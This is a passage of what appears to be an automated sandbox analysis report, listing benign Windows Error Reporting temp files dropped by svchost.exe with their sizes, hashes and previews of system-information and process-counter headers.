.o.o.l.U.s.a.g.e.,.Q.u.o.t.a.N.o.n.P.a.g.e.d.P.o.o.l.U.s.a.g.e.,.P.a.g.e.f.i.l.e.U.s.a.g.e.,.P.e.a.k.P.a.g.e.f.i.l.e.U.s.a.g.e.,.P.r.i.v.a.t.e.P.a.g.e.C.o.u.n.t.,.R.e.a.d.O.p.e.r.a.t.i.o.n.C.o.u.n.t.,.W.r.i.t.e.O.p.e.r.a.t.i.o.n.C.o.u.n.t.,.O.t.h.e.r.O.p.e.r.a.t.i.o.n.C.o.u.n.t.,.R.e.a.d.T.r.a.n.s.f.e.r.C.o.u.n.t.,.W.r.i.t.e.T.r.a.n.s.f.e.r.C.o.u.n.t.,.O.t.h.e.r.T.r.a.n.s.f.e.r.C.o.u.n.t.,.H.a.n.

C:\ProgramData\Microsoft\Windows\WER\Temp\WERF682.tmp.txt

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	13340
Entropy (8bit):	2.6967659510222606
Encrypted:	false
SSDEEP:	96:TiZYWvEVXYNYxeYzzAIHFYEZkgtFiyM6SSYwqDjjaVna2M1YVIaeT:2ZDZ/p9zaVnLM1YqaeT
MD5:	25D898E8E6B8E00F3576847518ADC055
SHA1:	CD8AD9B91B4256D7969BA2BFFD26317DA5E9E8D3
SHA-256:	6FC57A8729FEF14D0FCAE096CE0F34F58ABC7A65F30EADFE13A698BBC2A359C1
SHA-512:	B8AD9543FBA3F48CD1DC534461C37AFEB4FD7890323CF9EFF3F3971E3D60BC0D11B1DD08527D7240AD1B1F1551DF1BD1A93B934A6ADD2466AB37B45A0C821EE5
Malicious:	false
Preview:	B...T.i.m.e.r.R.e.s.o.l.u.t.i.o.n. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .1.5.6.2.5.0.....B...P.a.g.e.S.i.z.e. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .4.0.9.6.....B...N.u.m.b.e.r.O.f.P.h.y.s.i.c.a.l.P.a.g.e.s. . . . . . . . . . . . . . . . . . . . . . . . . . .1.0.4.8.3.3.3.....B...L.o.w.e.s.t.P.h.y.s.i.c.a.l.P.a.g.e.N.u.m.b.e.r. . . . . . . . . . . . . . . . . . . . . . . . . . . . . .2.....B...H.i.g.h.e.s.t.P.h.y.s.i.c.a.l.P.a.g.e.N.u.m.b.e.r. . . . . . . . . . . . . . . . . . . . . . .1.3.1.0.7.1.9.....B...A.l.l.o.c.a.t.i.o.n.G.r.a.n.u.l.a.r.i.t.y. . . . . . . . . . . . . . . . . . . . . . . . . . . . .6.5.5.3.6.....B...M.i.n.i.m.u.m.U.s.e.r.M.o.d.e.A.d.d.r.e.s.s. . . . . . . . . . . . . . . . . . . . . . . . . . . .6.5.5.3.6.....B...M.a.x.i.m.u.m.U.s.e.r.M.o.d.e.A.d.d.r.e.s.s. . . . . . . . . . . . . . . . . .1.4.0.7.3.7.4.8.8.2.8.9.7.9.1.....B...A.c.t.i.v.e.P.r.o.c.e.s.s.o.r.s.A.f.f.i.n.i.t.y.M.a.s.k. . . . . . .

C:\ProgramData\Microsoft\Windows\WER\Temp\WERF73F.tmp.txt

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	13340
Entropy (8bit):	2.6971804435471936
Encrypted:	false
SSDEEP:	96:TiZYWxZi3MY3YHzokHSYEZ2DtFiLMVKSS+wxYwCaunfMVYFIkeT:2ZDBA8IyaunfMVYakeT
MD5:	D236D3667912E2B632DE2645653AF73B
SHA1:	CC29C54EBC68BB1AA7477BDC0F08095F75EB58A6
SHA-256:	2766D48E3E7C720CC422D0EA6D05BF10B18786A491771296081130F6B34BF5E7
SHA-512:	6C8497ECF44DA24921E85AD48A277145FA0A0BE626ED5009B7BBB4AD44A976F04FC5474965A8E39770476D97CFF1BD7F51350D620754B19BFD35E1F706EACCC8
Malicious:	false
Preview:	B...T.i.m.e.r.R.e.s.o.l.u.t.i.o.n. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .1.5.6.2.5.0.....B...P.a.g.e.S.i.z.e. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .4.0.9.6.....B...N.u.m.b.e.r.O.f.P.h.y.s.i.c.a.l.P.a.g.e.s. . . . . . . . . . . . . . . . . . . . . . . . . . .1.0.4.8.3.3.3.....B...L.o.w.e.s.t.P.h.y.s.i.c.a.l.P.a.g.e.N.u.m.b.e.r. . . . . . . . . . . . . . . . . . . . . . . . . . . . . .2.....B...H.i.g.h.e.s.t.P.h.y.s.i.c.a.l.P.a.g.e.N.u.m.b.e.r. . . . . . . . . . . . . . . . . . . . . . .1.3.1.0.7.1.9.....B...A.l.l.o.c.a.t.i.o.n.G.r.a.n.u.l.a.r.i.t.y. . . . . . . . . . . . . . . . . . . . . . . . . . . . .6.5.5.3.6.....B...M.i.n.i.m.u.m.U.s.e.r.M.o.d.e.A.d.d.r.e.s.s. . . . . . . . . . . . . . . . . . . . . . . . . . . .6.5.5.3.6.....B...M.a.x.i.m.u.m.U.s.e.r.M.o.d.e.A.d.d.r.e.s.s. . . . . . . . . . . . . . . . . .1.4.0.7.3.7.4.8.8.2.8.9.7.9.1.....B...A.c.t.i.v.e.P.r.o.c.e.s.s.o.r.s.A.f.f.i.n.i.t.y.M.a.s.k. . . . . . .

C:\ProgramData\Microsoft\Windows\WER\Temp\WERF74F.tmp.csv

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	99834
Entropy (8bit):	3.070240451713658
Encrypted:	false
SSDEEP:	3072:pcQp1fzWtHLR4qrob8D7+RY05+Zj/ItqEM6OHWGrx9mnnFgK:P
MD5:	833DBE4CD9853F72E5D90BD16C60688A
SHA1:	D22C68BE70F2A9888BB1A42288F39C6BA38F2C29
SHA-256:	06A93C8B370E9C2B06CA04ECBAD5C1D7B930D54D19180E3385D34F9FAABA0A0A
SHA-512:	B477CBE2CAE7BD07F1CA85F2354E8F693E6607582AD78EC6F615B5E8EFF77F3D50F27DD3FA8A0B5C1B3B2A30F65EE782C4A3FB6476296B6013688829581C6240
Malicious:	false
Preview:	I.m.a.g.e.N.a.m.e.,.U.n.i.q.u.e.P.r.o.c.e.s.s.I.d.,.N.u.m.b.e.r.O.f.T.h.r.e.a.d.s.,.W.o.r.k.i.n.g.S.e.t.P.r.i.v.a.t.e.S.i.z.e.,.H.a.r.d.F.a.u.l.t.C.o.u.n.t.,.N.u.m.b.e.r.O.f.T.h.r.e.a.d.s.H.i.g.h.W.a.t.e.r.m.a.r.k.,.C.y.c.l.e.T.i.m.e.,.C.r.e.a.t.e.T.i.m.e.,.U.s.e.r.T.i.m.e.,.K.e.r.n.e.l.T.i.m.e.,.B.a.s.e.P.r.i.o.r.i.t.y.,.P.e.a.k.V.i.r.t.u.a.l.S.i.z.e.,.V.i.r.t.u.a.l.S.i.z.e.,.P.a.g.e.F.a.u.l.t.C.o.u.n.t.,.W.o.r.k.i.n.g.S.e.t.S.i.z.e.,.P.e.a.k.W.o.r.k.i.n.g.S.e.t.S.i.z.e.,.Q.u.o.t.a.P.e.a.k.P.a.g.e.d.P.o.o.l.U.s.a.g.e.,.Q.u.o.t.a.P.a.g.e.d.P.o.o.l.U.s.a.g.e.,.Q.u.o.t.a.P.e.a.k.N.o.n.P.a.g.e.d.P.o.o.l.U.s.a.g.e.,.Q.u.o.t.a.N.o.n.P.a.g.e.d.P.o.o.l.U.s.a.g.e.,.P.a.g.e.f.i.l.e.U.s.a.g.e.,.P.e.a.k.P.a.g.e.f.i.l.e.U.s.a.g.e.,.P.r.i.v.a.t.e.P.a.g.e.C.o.u.n.t.,.R.e.a.d.O.p.e.r.a.t.i.o.n.C.o.u.n.t.,.W.r.i.t.e.O.p.e.r.a.t.i.o.n.C.o.u.n.t.,.O.t.h.e.r.O.p.e.r.a.t.i.o.n.C.o.u.n.t.,.R.e.a.d.T.r.a.n.s.f.e.r.C.o.u.n.t.,.W.r.i.t.e.T.r.a.n.s.f.e.r.C.o.u.n.t.,.O.t.h.e.r.T.r.a.n.s.f.e.r.C.o.u.n.t.,.H.a.n.

C:\ProgramData\Microsoft\Windows\WER\Temp\WERF7DD.tmp.txt

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	13340
Entropy (8bit):	2.697565991119832
Encrypted:	false
SSDEEP:	96:TiZYWNBWqGYtYCwzOtWHMYEZ2DtFir+eSSkwvgfowabnJM1YQIheT:2ZDgqrpS4dwabnJM1YnheT
MD5:	C8260429939DB3BBBE57553BBA8D1590
SHA1:	62F26BCF5EF137A26AC70734D9B886DE1E25D9D8
SHA-256:	BADABDD91D7643BD176ABC2E77F3EDFE0D36A9AC4CFE735D32F6EC1B344469C6
SHA-512:	2412F7F877921C01AFC57C9234C74615D671588251798A1D5B8E5E06690A71EA6FD41ADAA45686DF01BAD1C30B08CBC950FDE73BA602205189A4A5017CE5BA70
Malicious:	false
Preview:	B...T.i.m.e.r.R.e.s.o.l.u.t.i.o.n. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .1.5.6.2.5.0.....B...P.a.g.e.S.i.z.e. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .4.0.9.6.....B...N.u.m.b.e.r.O.f.P.h.y.s.i.c.a.l.P.a.g.e.s. . . . . . . . . . . . . . . . . . . . . . . . . . .1.0.4.8.3.3.3.....B...L.o.w.e.s.t.P.h.y.s.i.c.a.l.P.a.g.e.N.u.m.b.e.r. . . . . . . . . . . . . . . . . . . . . . . . . . . . . .2.....B...H.i.g.h.e.s.t.P.h.y.s.i.c.a.l.P.a.g.e.N.u.m.b.e.r. . . . . . . . . . . . . . . . . . . . . . .1.3.1.0.7.1.9.....B...A.l.l.o.c.a.t.i.o.n.G.r.a.n.u.l.a.r.i.t.y. . . . . . . . . . . . . . . . . . . . . . . . . . . . .6.5.5.3.6.....B...M.i.n.i.m.u.m.U.s.e.r.M.o.d.e.A.d.d.r.e.s.s. . . . . . . . . . . . . . . . . . . . . . . . . . . .6.5.5.3.6.....B...M.a.x.i.m.u.m.U.s.e.r.M.o.d.e.A.d.d.r.e.s.s. . . . . . . . . . . . . . . . . .1.4.0.7.3.7.4.8.8.2.8.9.7.9.1.....B...A.c.t.i.v.e.P.r.o.c.e.s.s.o.r.s.A.f.f.i.n.i.t.y.M.a.s.k. . . . . . .

C:\ProgramData\Microsoft\Windows\WER\Temp\WERFC05.tmp.csv

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	89570
Entropy (8bit):	3.0866827530787595
Encrypted:	false
SSDEEP:	1536:Ux6ceYd7gKLaZfQAACmT2aeBJQE/uc8EG1ASLU3yzx7uVwYQ6Y637a09K:Ux6ceYd7gKLaZfQAACmT2aeBJQE/uc8p
MD5:	BA1197263B4A98CA24D5582CDDCD9D9F
SHA1:	532BDC74B930E7910D20EA099E66AFAA4D8111D4
SHA-256:	61756E189788422F20A791073314CA1423A05E42D3E09494A4D7017C936F918D
SHA-512:	FAEF10149C51E2DE5089F237ADB529982889367B8D4367902EEF3917F4F5366EF36CF83991EA8409FB18F6C5B9D235325994B94418DDFE5A4723A727DA99E415
Malicious:	false
Preview:	I.m.a.g.e.N.a.m.e.,.U.n.i.q.u.e.P.r.o.c.e.s.s.I.d.,.N.u.m.b.e.r.O.f.T.h.r.e.a.d.s.,.W.o.r.k.i.n.g.S.e.t.P.r.i.v.a.t.e.S.i.z.e.,.H.a.r.d.F.a.u.l.t.C.o.u.n.t.,.N.u.m.b.e.r.O.f.T.h.r.e.a.d.s.H.i.g.h.W.a.t.e.r.m.a.r.k.,.C.y.c.l.e.T.i.m.e.,.C.r.e.a.t.e.T.i.m.e.,.U.s.e.r.T.i.m.e.,.K.e.r.n.e.l.T.i.m.e.,.B.a.s.e.P.r.i.o.r.i.t.y.,.P.e.a.k.V.i.r.t.u.a.l.S.i.z.e.,.V.i.r.t.u.a.l.S.i.z.e.,.P.a.g.e.F.a.u.l.t.C.o.u.n.t.,.W.o.r.k.i.n.g.S.e.t.S.i.z.e.,.P.e.a.k.W.o.r.k.i.n.g.S.e.t.S.i.z.e.,.Q.u.o.t.a.P.e.a.k.P.a.g.e.d.P.o.o.l.U.s.a.g.e.,.Q.u.o.t.a.P.a.g.e.d.P.o.o.l.U.s.a.g.e.,.Q.u.o.t.a.P.e.a.k.N.o.n.P.a.g.e.d.P.o.o.l.U.s.a.g.e.,.Q.u.o.t.a.N.o.n.P.a.g.e.d.P.o.o.l.U.s.a.g.e.,.P.a.g.e.f.i.l.e.U.s.a.g.e.,.P.e.a.k.P.a.g.e.f.i.l.e.U.s.a.g.e.,.P.r.i.v.a.t.e.P.a.g.e.C.o.u.n.t.,.R.e.a.d.O.p.e.r.a.t.i.o.n.C.o.u.n.t.,.W.r.i.t.e.O.p.e.r.a.t.i.o.n.C.o.u.n.t.,.O.t.h.e.r.O.p.e.r.a.t.i.o.n.C.o.u.n.t.,.R.e.a.d.T.r.a.n.s.f.e.r.C.o.u.n.t.,.W.r.i.t.e.T.r.a.n.s.f.e.r.C.o.u.n.t.,.O.t.h.e.r.T.r.a.n.s.f.e.r.C.o.u.n.t.,.H.a.n.

C:\ProgramData\Microsoft\Windows\WER\Temp\WERFCC2.tmp.txt

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	13340
Entropy (8bit):	2.684748061205289
Encrypted:	false
SSDEEP:	96:TiZYWDcN5MPtYPDYPWrHGYEZRKtFiV0MX7y4IwKEwcgavMjMu1cIwL3:2ZDdt8EgFEWavMjMu1bwL3
MD5:	5E9AE1623378942CB9A695366428F35C
SHA1:	1DB35AD080AD392D480F6188DEC106218F0C1AFB
SHA-256:	8FC70616AA28912C90D15A4A6F371DE66917F67C98BDAC695265E35A5B75F8E2
SHA-512:	639760EEB810C63D63D2B5700FD201CDF27F672FD2D64BFE6CA12E47ADD4F69CE5190512D0DE6BC3B14C7AF5F443713112B27DA68F74CF3E1A5832370515F876
Malicious:	false
Preview:	B...T.i.m.e.r.R.e.s.o.l.u.t.i.o.n. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .1.5.6.2.5.0.....B...P.a.g.e.S.i.z.e. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .4.0.9.6.....B...N.u.m.b.e.r.O.f.P.h.y.s.i.c.a.l.P.a.g.e.s. . . . . . . . . . . . . . . . . . . . . . . . . . .1.0.4.8.3.3.3.....B...L.o.w.e.s.t.P.h.y.s.i.c.a.l.P.a.g.e.N.u.m.b.e.r. . . . . . . . . . . . . . . . . . . . . . . . . . . . . .2.....B...H.i.g.h.e.s.t.P.h.y.s.i.c.a.l.P.a.g.e.N.u.m.b.e.r. . . . . . . . . . . . . . . . . . . . . . .1.3.1.0.7.1.9.....B...A.l.l.o.c.a.t.i.o.n.G.r.a.n.u.l.a.r.i.t.y. . . . . . . . . . . . . . . . . . . . . . . . . . . . .6.5.5.3.6.....B...M.i.n.i.m.u.m.U.s.e.r.M.o.d.e.A.d.d.r.e.s.s. . . . . . . . . . . . . . . . . . . . . . . . . . . .6.5.5.3.6.....B...M.a.x.i.m.u.m.U.s.e.r.M.o.d.e.A.d.d.r.e.s.s. . . . . . . . . . . . . . . . . .1.4.0.7.3.7.4.8.8.2.8.9.7.9.1.....B...A.c.t.i.v.e.P.r.o.c.e.s.s.o.r.s.A.f.f.i.n.i.t.y.M.a.s.k. . . . . . .

C:\ProgramData\Microsoft\Windows\WER\Temp\WERFDBA.tmp.csv

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	100380
Entropy (8bit):	3.0697359436746274
Encrypted:	false
SSDEEP:	3072:+9oHoUzWH3LR6aro787+RY05+Zj/Itq6M6OHj00BzB9/n88r5nF:0
MD5:	A77040BA062ABF20E6A790700108C209
SHA1:	75E02DB82AC1A59458096B4CF97483BFBBFB77B5
SHA-256:	E7C976633A3FB1C0DE81C817A9171B776236F6597C8AD84E6768F66112B4D49B
SHA-512:	99C3AEB635216CFB95612BE30723E07A392E46BEC0A53080F23E3E7EA6DA1CDAF8D9589DF40864B5093E0F3356169E538E81DB916973E1C6B9B6E3F88E1741A5
Malicious:	false
Preview:	I.m.a.g.e.N.a.m.e.,.U.n.i.q.u.e.P.r.o.c.e.s.s.I.d.,.N.u.m.b.e.r.O.f.T.h.r.e.a.d.s.,.W.o.r.k.i.n.g.S.e.t.P.r.i.v.a.t.e.S.i.z.e.,.H.a.r.d.F.a.u.l.t.C.o.u.n.t.,.N.u.m.b.e.r.O.f.T.h.r.e.a.d.s.H.i.g.h.W.a.t.e.r.m.a.r.k.,.C.y.c.l.e.T.i.m.e.,.C.r.e.a.t.e.T.i.m.e.,.U.s.e.r.T.i.m.e.,.K.e.r.n.e.l.T.i.m.e.,.B.a.s.e.P.r.i.o.r.i.t.y.,.P.e.a.k.V.i.r.t.u.a.l.S.i.z.e.,.V.i.r.t.u.a.l.S.i.z.e.,.P.a.g.e.F.a.u.l.t.C.o.u.n.t.,.W.o.r.k.i.n.g.S.e.t.S.i.z.e.,.P.e.a.k.W.o.r.k.i.n.g.S.e.t.S.i.z.e.,.Q.u.o.t.a.P.e.a.k.P.a.g.e.d.P.o.o.l.U.s.a.g.e.,.Q.u.o.t.a.P.a.g.e.d.P.o.o.l.U.s.a.g.e.,.Q.u.o.t.a.P.e.a.k.N.o.n.P.a.g.e.d.P.o.o.l.U.s.a.g.e.,.Q.u.o.t.a.N.o.n.P.a.g.e.d.P.o.o.l.U.s.a.g.e.,.P.a.g.e.f.i.l.e.U.s.a.g.e.,.P.e.a.k.P.a.g.e.f.i.l.e.U.s.a.g.e.,.P.r.i.v.a.t.e.P.a.g.e.C.o.u.n.t.,.R.e.a.d.O.p.e.r.a.t.i.o.n.C.o.u.n.t.,.W.r.i.t.e.O.p.e.r.a.t.i.o.n.C.o.u.n.t.,.O.t.h.e.r.O.p.e.r.a.t.i.o.n.C.o.u.n.t.,.R.e.a.d.T.r.a.n.s.f.e.r.C.o.u.n.t.,.W.r.i.t.e.T.r.a.n.s.f.e.r.C.o.u.n.t.,.O.t.h.e.r.T.r.a.n.s.f.e.r.C.o.u.n.t.,.H.a.n.

C:\ProgramData\Microsoft\Windows\WER\Temp\WERFDFA.tmp.csv

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	100392
Entropy (8bit):	3.069914050624892
Encrypted:	false
SSDEEP:	3072:LOoHLUzWr3LR6sro7z7+RY05+Zj/ItqYM6OHXoB7D9on88BsRF:D
MD5:	1B78A57035D56E24629B6198E1C75DAF
SHA1:	668C76C57ED976A07268B8DF21D6AA5369DDE937
SHA-256:	E1ECD9F58FFB72BAF884667EEA6FA901FA279D8B0BCD220059255FD4E1918A97
SHA-512:	ED93B5D0A1D560E47A2E8A981CC8D8E988380A26CF2DFCCF280ED648B3AA94B738F5A5665BED97197A78A6C1FCE8D648C739EE4E12A73260351107796DA29665
Malicious:	false
Preview:	I.m.a.g.e.N.a.m.e.,.U.n.i.q.u.e.P.r.o.c.e.s.s.I.d.,.N.u.m.b.e.r.O.f.T.h.r.e.a.d.s.,.W.o.r.k.i.n.g.S.e.t.P.r.i.v.a.t.e.S.i.z.e.,.H.a.r.d.F.a.u.l.t.C.o.u.n.t.,.N.u.m.b.e.r.O.f.T.h.r.e.a.d.s.H.i.g.h.W.a.t.e.r.m.a.r.k.,.C.y.c.l.e.T.i.m.e.,.C.r.e.a.t.e.T.i.m.e.,.U.s.e.r.T.i.m.e.,.K.e.r.n.e.l.T.i.m.e.,.B.a.s.e.P.r.i.o.r.i.t.y.,.P.e.a.k.V.i.r.t.u.a.l.S.i.z.e.,.V.i.r.t.u.a.l.S.i.z.e.,.P.a.g.e.F.a.u.l.t.C.o.u.n.t.,.W.o.r.k.i.n.g.S.e.t.S.i.z.e.,.P.e.a.k.W.o.r.k.i.n.g.S.e.t.S.i.z.e.,.Q.u.o.t.a.P.e.a.k.P.a.g.e.d.P.o.o.l.U.s.a.g.e.,.Q.u.o.t.a.P.a.g.e.d.P.o.o.l.U.s.a.g.e.,.Q.u.o.t.a.P.e.a.k.N.o.n.P.a.g.e.d.P.o.o.l.U.s.a.g.e.,.Q.u.o.t.a.N.o.n.P.a.g.e.d.P.o.o.l.U.s.a.g.e.,.P.a.g.e.f.i.l.e.U.s.a.g.e.,.P.e.a.k.P.a.g.e.f.i.l.e.U.s.a.g.e.,.P.r.i.v.a.t.e.P.a.g.e.C.o.u.n.t.,.R.e.a.d.O.p.e.r.a.t.i.o.n.C.o.u.n.t.,.W.r.i.t.e.O.p.e.r.a.t.i.o.n.C.o.u.n.t.,.O.t.h.e.r.O.p.e.r.a.t.i.o.n.C.o.u.n.t.,.R.e.a.d.T.r.a.n.s.f.e.r.C.o.u.n.t.,.W.r.i.t.e.T.r.a.n.s.f.e.r.C.o.u.n.t.,.O.t.h.e.r.T.r.a.n.s.f.e.r.C.o.u.n.t.,.H.a.n.

C:\ProgramData\Microsoft\Windows\WER\Temp\WERFE49.tmp.csv

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	100404
Entropy (8bit):	3.0697175879500405
Encrypted:	false
SSDEEP:	3072:VooHyUzWG3LR6QIroY27+RY05+Zj/ItqjM6OHnKB8c93nP785IR+T:e
MD5:	DE0B1285DEE179059D8D3CAD4F2F41D2
SHA1:	A208C3CA14A5D5CEE6718397DEBEE4B091B21094
SHA-256:	1DB1DD21331A067BF26A7B940D420674DF034ABF7F7E1E7488517805AB6B2E38
SHA-512:	CE2DCDDBE3CA349BBB2EE81F358F41D282C9E61C7FE2E140C160316064FDAAB919F75A45F83A7F81B412F668F4E9C5143015F83A0FF0E51D22AC9776153AC22A
Malicious:	false
Preview:	I.m.a.g.e.N.a.m.e.,.U.n.i.q.u.e.P.r.o.c.e.s.s.I.d.,.N.u.m.b.e.r.O.f.T.h.r.e.a.d.s.,.W.o.r.k.i.n.g.S.e.t.P.r.i.v.a.t.e.S.i.z.e.,.H.a.r.d.F.a.u.l.t.C.o.u.n.t.,.N.u.m.b.e.r.O.f.T.h.r.e.a.d.s.H.i.g.h.W.a.t.e.r.m.a.r.k.,.C.y.c.l.e.T.i.m.e.,.C.r.e.a.t.e.T.i.m.e.,.U.s.e.r.T.i.m.e.,.K.e.r.n.e.l.T.i.m.e.,.B.a.s.e.P.r.i.o.r.i.t.y.,.P.e.a.k.V.i.r.t.u.a.l.S.i.z.e.,.V.i.r.t.u.a.l.S.i.z.e.,.P.a.g.e.F.a.u.l.t.C.o.u.n.t.,.W.o.r.k.i.n.g.S.e.t.S.i.z.e.,.P.e.a.k.W.o.r.k.i.n.g.S.e.t.S.i.z.e.,.Q.u.o.t.a.P.e.a.k.P.a.g.e.d.P.o.o.l.U.s.a.g.e.,.Q.u.o.t.a.P.a.g.e.d.P.o.o.l.U.s.a.g.e.,.Q.u.o.t.a.P.e.a.k.N.o.n.P.a.g.e.d.P.o.o.l.U.s.a.g.e.,.Q.u.o.t.a.N.o.n.P.a.g.e.d.P.o.o.l.U.s.a.g.e.,.P.a.g.e.f.i.l.e.U.s.a.g.e.,.P.e.a.k.P.a.g.e.f.i.l.e.U.s.a.g.e.,.P.r.i.v.a.t.e.P.a.g.e.C.o.u.n.t.,.R.e.a.d.O.p.e.r.a.t.i.o.n.C.o.u.n.t.,.W.r.i.t.e.O.p.e.r.a.t.i.o.n.C.o.u.n.t.,.O.t.h.e.r.O.p.e.r.a.t.i.o.n.C.o.u.n.t.,.R.e.a.d.T.r.a.n.s.f.e.r.C.o.u.n.t.,.W.r.i.t.e.T.r.a.n.s.f.e.r.C.o.u.n.t.,.O.t.h.e.r.T.r.a.n.s.f.e.r.C.o.u.n.t.,.H.a.n.

C:\ProgramData\Microsoft\Windows\WER\Temp\WERFE88.tmp.txt

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	13340
Entropy (8bit):	2.6985019052756694
Encrypted:	false
SSDEEP:	96:TiZYWRMHk4EYYtY0hH8UHiYEZKDtFiY+ySSkowkA0kamnSP2MyYbIkeT:2ZDI6N9GcQamnSP2MyYUkeT
MD5:	7E80AC83BAFF2ED3D94CA7C36B3EB101
SHA1:	FF7A7A2D6B8C977148F738D6568745F5AB8CC5A1
SHA-256:	B58AD6422D9622E1738DA5E5D246C49C39DB0380759B29ADDA9E63A0A39ACA8B
SHA-512:	5F71EBDE77C6C5078AA1C312100386E997FBECC63BABCDC3F0364B78C20E5550B87F6DC72AE0B6BF72D2E4A85FA2E5FFEE47C0FB1B40ACE086715AA21583078D
Malicious:	false
Preview:	B...T.i.m.e.r.R.e.s.o.l.u.t.i.o.n. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .1.5.6.2.5.0.....B...P.a.g.e.S.i.z.e. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .4.0.9.6.....B...N.u.m.b.e.r.O.f.P.h.y.s.i.c.a.l.P.a.g.e.s. . . . . . . . . . . . . . . . . . . . . . . . . . .1.0.4.8.3.3.3.....B...L.o.w.e.s.t.P.h.y.s.i.c.a.l.P.a.g.e.N.u.m.b.e.r. . . . . . . . . . . . . . . . . . . . . . . . . . . . . .2.....B...H.i.g.h.e.s.t.P.h.y.s.i.c.a.l.P.a.g.e.N.u.m.b.e.r. . . . . . . . . . . . . . . . . . . . . . .1.3.1.0.7.1.9.....B...A.l.l.o.c.a.t.i.o.n.G.r.a.n.u.l.a.r.i.t.y. . . . . . . . . . . . . . . . . . . . . . . . . . . . .6.5.5.3.6.....B...M.i.n.i.m.u.m.U.s.e.r.M.o.d.e.A.d.d.r.e.s.s. . . . . . . . . . . . . . . . . . . . . . . . . . . .6.5.5.3.6.....B...M.a.x.i.m.u.m.U.s.e.r.M.o.d.e.A.d.d.r.e.s.s. . . . . . . . . . . . . . . . . .1.4.0.7.3.7.4.8.8.2.8.9.7.9.1.....B...A.c.t.i.v.e.P.r.o.c.e.s.s.o.r.s.A.f.f.i.n.i.t.y.M.a.s.k. . . . . . .

C:\ProgramData\Microsoft\Windows\WER\Temp\WERFF64.tmp.txt

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	13340
Entropy (8bit):	2.698947385449799
Encrypted:	false
SSDEEP:	96:TiZYW9qxFkythYEYShZoHqYEZKytFi5+GS/wAnSwpaXngMUYXNIGeT:2ZD9t2jwwfaXngMUYXSGeT
MD5:	B2573A7CE5B08D41A671945B8926CD9F
SHA1:	3CCB46D490A5CF47400187876648C6E4F33E7359
SHA-256:	89ED831669C87EE81D665F477FE3019B87B7686DE77F30AD6583FFE9458E5EE3
SHA-512:	09AA490FDABB3729800C33A13AEF3695D9FDE65BA1B4F0D04284A225BA3E2D72517A67495EEFC07CC267EDBAAC7DB35DA26BFE3CB95F95B888404AECD7675632
Malicious:	false
Preview:	B...T.i.m.e.r.R.e.s.o.l.u.t.i.o.n. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .1.5.6.2.5.0.....B...P.a.g.e.S.i.z.e. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .4.0.9.6.....B...N.u.m.b.e.r.O.f.P.h.y.s.i.c.a.l.P.a.g.e.s. . . . . . . . . . . . . . . . . . . . . . . . . . .1.0.4.8.3.3.3.....B...L.o.w.e.s.t.P.h.y.s.i.c.a.l.P.a.g.e.N.u.m.b.e.r. . . . . . . . . . . . . . . . . . . . . . . . . . . . . .2.....B...H.i.g.h.e.s.t.P.h.y.s.i.c.a.l.P.a.g.e.N.u.m.b.e.r. . . . . . . . . . . . . . . . . . . . . . .1.3.1.0.7.1.9.....B...A.l.l.o.c.a.t.i.o.n.G.r.a.n.u.l.a.r.i.t.y. . . . . . . . . . . . . . . . . . . . . . . . . . . . .6.5.5.3.6.....B...M.i.n.i.m.u.m.U.s.e.r.M.o.d.e.A.d.d.r.e.s.s. . . . . . . . . . . . . . . . . . . . . . . . . . . .6.5.5.3.6.....B...M.a.x.i.m.u.m.U.s.e.r.M.o.d.e.A.d.d.r.e.s.s. . . . . . . . . . . . . . . . . .1.4.0.7.3.7.4.8.8.2.8.9.7.9.1.....B...A.c.t.i.v.e.P.r.o.c.e.s.s.o.r.s.A.f.f.i.n.i.t.y.M.a.s.k. . . . . . .

C:\ProgramData\Microsoft\Windows\WER\Temp\WERFF75.tmp.txt

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	13340
Entropy (8bit):	2.6990826401880565
Encrypted:	false
SSDEEP:	96:TiZYWIs0X6fYJYKhRQOHqYEZWRtFit+GS/wbiUBqAUaBnpMVYCIpeT:2ZDbnO+cSifaBnpMVYlpeT
MD5:	AD880A2B8D35358C9D5C6FBCF3AE4C81
SHA1:	958313E83E57692F3C653F2551FDF54D111850F6
SHA-256:	B7C8BD483CF9B4FD9C0AB28500C77F11CF0EA5A158328D29F51A72F7FFC1E4F1
SHA-512:	4CBAF256A28D6EEA85AE9009F5B4C9B59C0B3ABF8EC142618B068CE68284FFADCD688C9861B245A11623837FF9083750E02D2C44DA7489A419EEDD861450E63E
Malicious:	false
